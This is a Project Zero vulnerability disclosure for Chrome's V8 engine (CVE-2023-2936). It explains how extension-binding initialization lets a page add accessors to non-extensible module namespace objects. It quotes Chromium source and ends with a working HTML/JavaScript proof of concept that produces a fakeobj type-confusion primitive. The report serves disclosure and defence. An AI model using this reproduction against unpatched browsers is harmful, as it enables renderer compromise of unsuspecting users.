Chrome: Extending non-extensible objects leads to type confusion in V8

SUMMARY
`v8::internal::JSObject::SetAccessor` doesn't check if the receiver is extensible before adding a new property. A potential attacker can exploit the ability to extend non-extensible objects to achieve arbitrary code execution inside the renderer process.


VULNERABILITY DETAILS
In Blink, when a user calls `window.open(url)` or inserts an `iframe` element with a non-empty URL, the process immediately loads an initial empty document and then initiates navigation to the requested URL. In that case, initialization of the extension subsystem is delayed[1]. If the requested document has the same origin as the empty document, the navigation will reuse the existing global object[2]. When the delayed initialization is resumed, `UpdateBindingsForContext` calls `GetOrCreateChrome`[3], which fetches the `chrome` property value from the global object[5] and defines new properties on `chrome` using `SetLazyDataProperty`[4]. By that time, a user may have replaced the original `chrome` object with a JS value of their choice.

`SetLazyDataProperty` is a wrapper around `SetAccessor`. Usually, the function `CheckIfCanDefine` is invoked before adding a property to make sure the receiver is extensible and it doesn't have a non-configurable property with the same name. Unfortunately, `SetAccessor` only verifies the latter with a custom check[6], so, by combining this issue with the extension system initialization quirk, an attacker can define a new accessor property on any non-extensible object.

There are likely multiple techniques to exploit the flaw; one such technique abuses the code that implements JS module support. V8 exposes exported module properties via `JSModuleNamespace` objects and relies on them being non-extensible. The engine assumes that for every accessor property in `JSModuleNamespace` there is a corresponding export entry in the linked `JSModule` object and skips security-critical checks.

If the attacker creates a bogus export accessor, and V8 attempts to compute an IC handler for it, the process will hit a DCHECK[7] in debug builds, and pass the invalid entry `kNotFound` to `EntryToValueIndex`[8] in release builds. The resulting index will point to the \"number of elements\" field in the hash table, which will be interpreted by the handler as a compressed pointer to a `Cell` object[9]. The value of the cell will be returned to the user code. This behavior is essentially a well-known `fakeobj` exploitation primitive.


REFERENCES
https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:extensions/renderer/extension_frame_helper.cc;drc=e0e0d24aaa54727dc0a8bc4b159ccdf80d3f5d8d;l=380
```
void ExtensionFrameHelper::DidCreateScriptContext(
    v8::Local<v8::Context> context,
    int32_t world_id) {
  if (world_id == blink::kMainDOMWorldId) {
    // Accessing MainWorldScriptContext() in ReadyToCommitNavigation() may
    // trigger the script context initializing, so we don't want to initialize a
    // second time here.
    if (is_initializing_main_world_script_context_)
      return;
    if (render_frame()->IsBrowserSideNavigationPending()) {
      // Defer initializing the extensions script context now because it depends
      // on having the URL of the provisional load which isn't available at this
      // point.
      // We can come here twice in the case of window.open(url): first for
      // about:blank empty document, then possibly for the actual url load
      // (depends on whoever triggers window proxy init), before getting
      // ReadyToCommitNavigation.
      delayed_main_world_script_initialization_ = true; // *** [1] ***
      return;
    }
[...]
```

https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:third_party/blink/renderer/core/loader/document_loader.cc;drc=e0e0d24aaa54727dc0a8bc4b159ccdf80d3f5d8d;l=2171
```
void DocumentLoader::InitializeWindow(Document* owner_document) {
[...]
  // In some rare cases, we'll re-use a LocalDOMWindow for a new Document. For
  // example, when a script calls window.open(\"...\"), the browser gives
  // JavaScript a window synchronously but kicks off the load in the window
  // asynchronously. Web sites expect that modifications that they make to the
  // window object synchronously won't be blown away when the network load
  // commits. To make that happen, we \"securely transition\" the existing
  // LocalDOMWindow to the Document that results from the network load. See also
  // Document::IsSecureTransitionTo.
  if (!ShouldReuseDOMWindow(frame_->DomWindow(), security_origin.get(),
                            window_anonymous_matching)) { // *** [2] ***
[...]
```

https://source.chromium.org/chromium/chromium/src/+/main:extensions/renderer/native_extension_bindings_system.cc;drc=02335a6b11d934d954cb4d7e02e5c66e1f37f191;l=503
```
void NativeExtensionBindingsSystem::UpdateBindingsForContext(
    ScriptContext* context) {
  v8::Isolate* isolate = context->isolate();
  v8::HandleScope handle_scope(isolate);
  v8::Local<v8::Context> v8_context = context->v8_context();
  v8::Local<v8::Object> chrome = GetOrCreateChrome(v8_context); // *** [3] ***
  if (chrome.IsEmpty()) {
    return;
  }

  DCHECK(GetBindingsDataFromContext(v8_context));

  auto set_accessor = [chrome, isolate,
                       v8_context](base::StringPiece accessor_name) {
    v8::Local<v8::String> api_name =
        gin::StringToSymbol(isolate, accessor_name);
    v8::Maybe<bool> success = chrome->SetLazyDataProperty( // *** [4] ***
        v8_context, api_name, &BindingAccessor, api_name);
    return success.IsJust() && success.FromJust();
  };
```

https://source.chromium.org/chromium/chromium/src/+/main:extensions/renderer/native_extension_bindings_system.cc;drc=57b92c9b9630156148f8589ffe6e0ee857a791c4;l=116
```
v8::Local<v8::Object> GetOrCreateChrome(v8::Local<v8::Context> context) {
  // Ensure that the creation context for any new chrome object is |context|.
  v8::Context::Scope context_scope(context);

  // TODO(devlin): This is a little silly. We expect that this may do the wrong
  // thing if the window has set some other 'chrome' (as in the case of script
  // doing 'window.chrome = true'), but we don't really handle it. It could also
  // throw exceptions or have unintended side effects.
  // On the one hand, anyone writing that code is probably asking for trouble.
  // On the other, it'd be nice to avoid. I wonder if we can?
  v8::Local<v8::String> chrome_string =
      gin::StringToSymbol(context->GetIsolate(), \"chrome\");
  v8::Local<v8::Value> chrome_value;
  if (!context->Global()->Get(context, chrome_string).ToLocal(&chrome_value)) // *** [5] ***
    return v8::Local<v8::Object>();
[...]
```

https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.cc;drc=4becb939339f1de4744f95b9fcb10bda57cf7e99;l=4748
```
MaybeHandle<Object> JSObject::SetAccessor(Handle<JSObject> object,
                                          Handle<Name> name,
                                          Handle<AccessorInfo> info,
                                          PropertyAttributes attributes) {
  Isolate* isolate = object->GetIsolate();

  PropertyKey key(isolate, name);
  LookupIterator it(isolate, object, key, LookupIterator::OWN_SKIP_INTERCEPTOR);
[...]
  CHECK(GetPropertyAttributes(&it).IsJust());

  // ES5 forbids turning a property into an accessor if it's not
  // configurable. See 8.6.1 (Table 5).
  if (it.IsFound() && !it.IsConfigurable()) { // *** [6] ***
    return it.factory()->undefined_value();
  }

  it.TransitionToAccessorPair(info, attributes);

  return object;
}
```

https://source.chromium.org/chromium/chromium/src/+/main:v8/src/ic/ic.cc;drc=1f3358ace7565e5efc4f49611d97838901ae13f2;l=843
```
MaybeObjectHandle LoadIC::ComputeHandler(LookupIterator* lookup) {
[...]
    case LookupIterator::ACCESSOR: {
      Handle<JSObject> holder = lookup->GetHolder<JSObject>();
[...]
      if (holder->IsJSModuleNamespace()) {
        Handle<ObjectHashTable> exports(
            Handle<JSModuleNamespace>::cast(holder)->module().exports(),
            isolate());
        InternalIndex entry =
            exports->FindEntry(isolate(), roots, lookup->name(),
                               Smi::ToInt(lookup->name()->GetHash()));
        // We found the accessor, so the entry must exist.
        DCHECK(entry.is_found()); // *** [7] ***
        int value_index = ObjectHashTable::EntryToValueIndex(entry); // *** [8] ***
        Handle<Smi> smi_handler =
            LoadHandler::LoadModuleExport(isolate(), value_index);
        if (holder_is_lookup_start_object) {
          return MaybeObjectHandle(smi_handler);
        }
        return MaybeObjectHandle(LoadHandler::LoadFromPrototype(
            isolate(), map, holder, smi_handler));
      }
[...]
```

https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:v8/src/ic/accessor-assembler.cc;drc=e0e0d24aaa54727dc0a8bc4b159ccdf80d3f5d8d;l=647
```
void AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase(
    const LazyLoadICParameters* p, TNode<Object> holder,
    TNode<Uint32T> handler_kind, TNode<Word32T> handler_word,
    Label* rebox_double, TVariable<Float64T>* var_double_value,
    TNode<MaybeObject> handler, Label* miss, ExitPoint* exit_point,
    ICMode ic_mode, OnNonExistent on_nonexistent,
    ElementSupport support_elements) {
[...]
  BIND(&module_export);
  {
    Comment(\"module export\");
    TNode<UintPtrT> index =
        DecodeWordFromWord32<LoadHandler::ExportsIndexBits>(handler_word);
    TNode<Module> module =
        LoadObjectField<Module>(CAST(holder), JSModuleNamespace::kModuleOffset);
    TNode<ObjectHashTable> exports =
        LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);
    TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index)); // *** [9] ***
    // The handler is only installed for exports that exist.
    TNode<Object> value = LoadCellValue(cell);
    Label is_the_hole(this, Label::kDeferred);
    GotoIf(IsTheHole(value), &is_the_hole);
    exit_point->Return(value);
[...]
}
```


VERSION
Google Chrome 113.0.5672.63 (Official Build) (64-bit) 



REPRODUCTION CASE
```
<body>
<script>
const PROP_COUNT = 2 ** 10; // Controls the fake Cell address.
const IC_WARMUP_COUNT = 10;

if (top == window) {
  function generateModuleUrl() {
    let url = \"data:text/javascript,export let \";
    for (let i = 0; i < PROP_COUNT; ++i)
      url += (i ? \",\" : \"\") + `p${i}`;
    return url;
  }

  let frame = document.createElement(\"iframe\");
  frame.src = location; // Must be set before attaching the frame.
  document.body.appendChild(frame);

  let child_window = frame.contentWindow;
  // The `chrome` object must be from the same context as the `window` object.
  queueMicrotask(_ => child_window.eval(\"import(top.generateModuleUrl())\")
    .then(module => {
      child_window.chrome = module;
      child_window.onload = () => {
        frame.remove(); // prevents `app` from being reconfigured as a data property.

        function accessIC() { return module.app; }
        for (let i = 0; i < IC_WARMUP_COUNT; ++i)
          accessIC();

        document.body.textContent = \"leaked: \" + accessIC();
      }
    }));
}
</script>
</body>
```


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-08-06.


Related CVE Numbers: CVE-2023-2936.



Found by: glazunov@google.com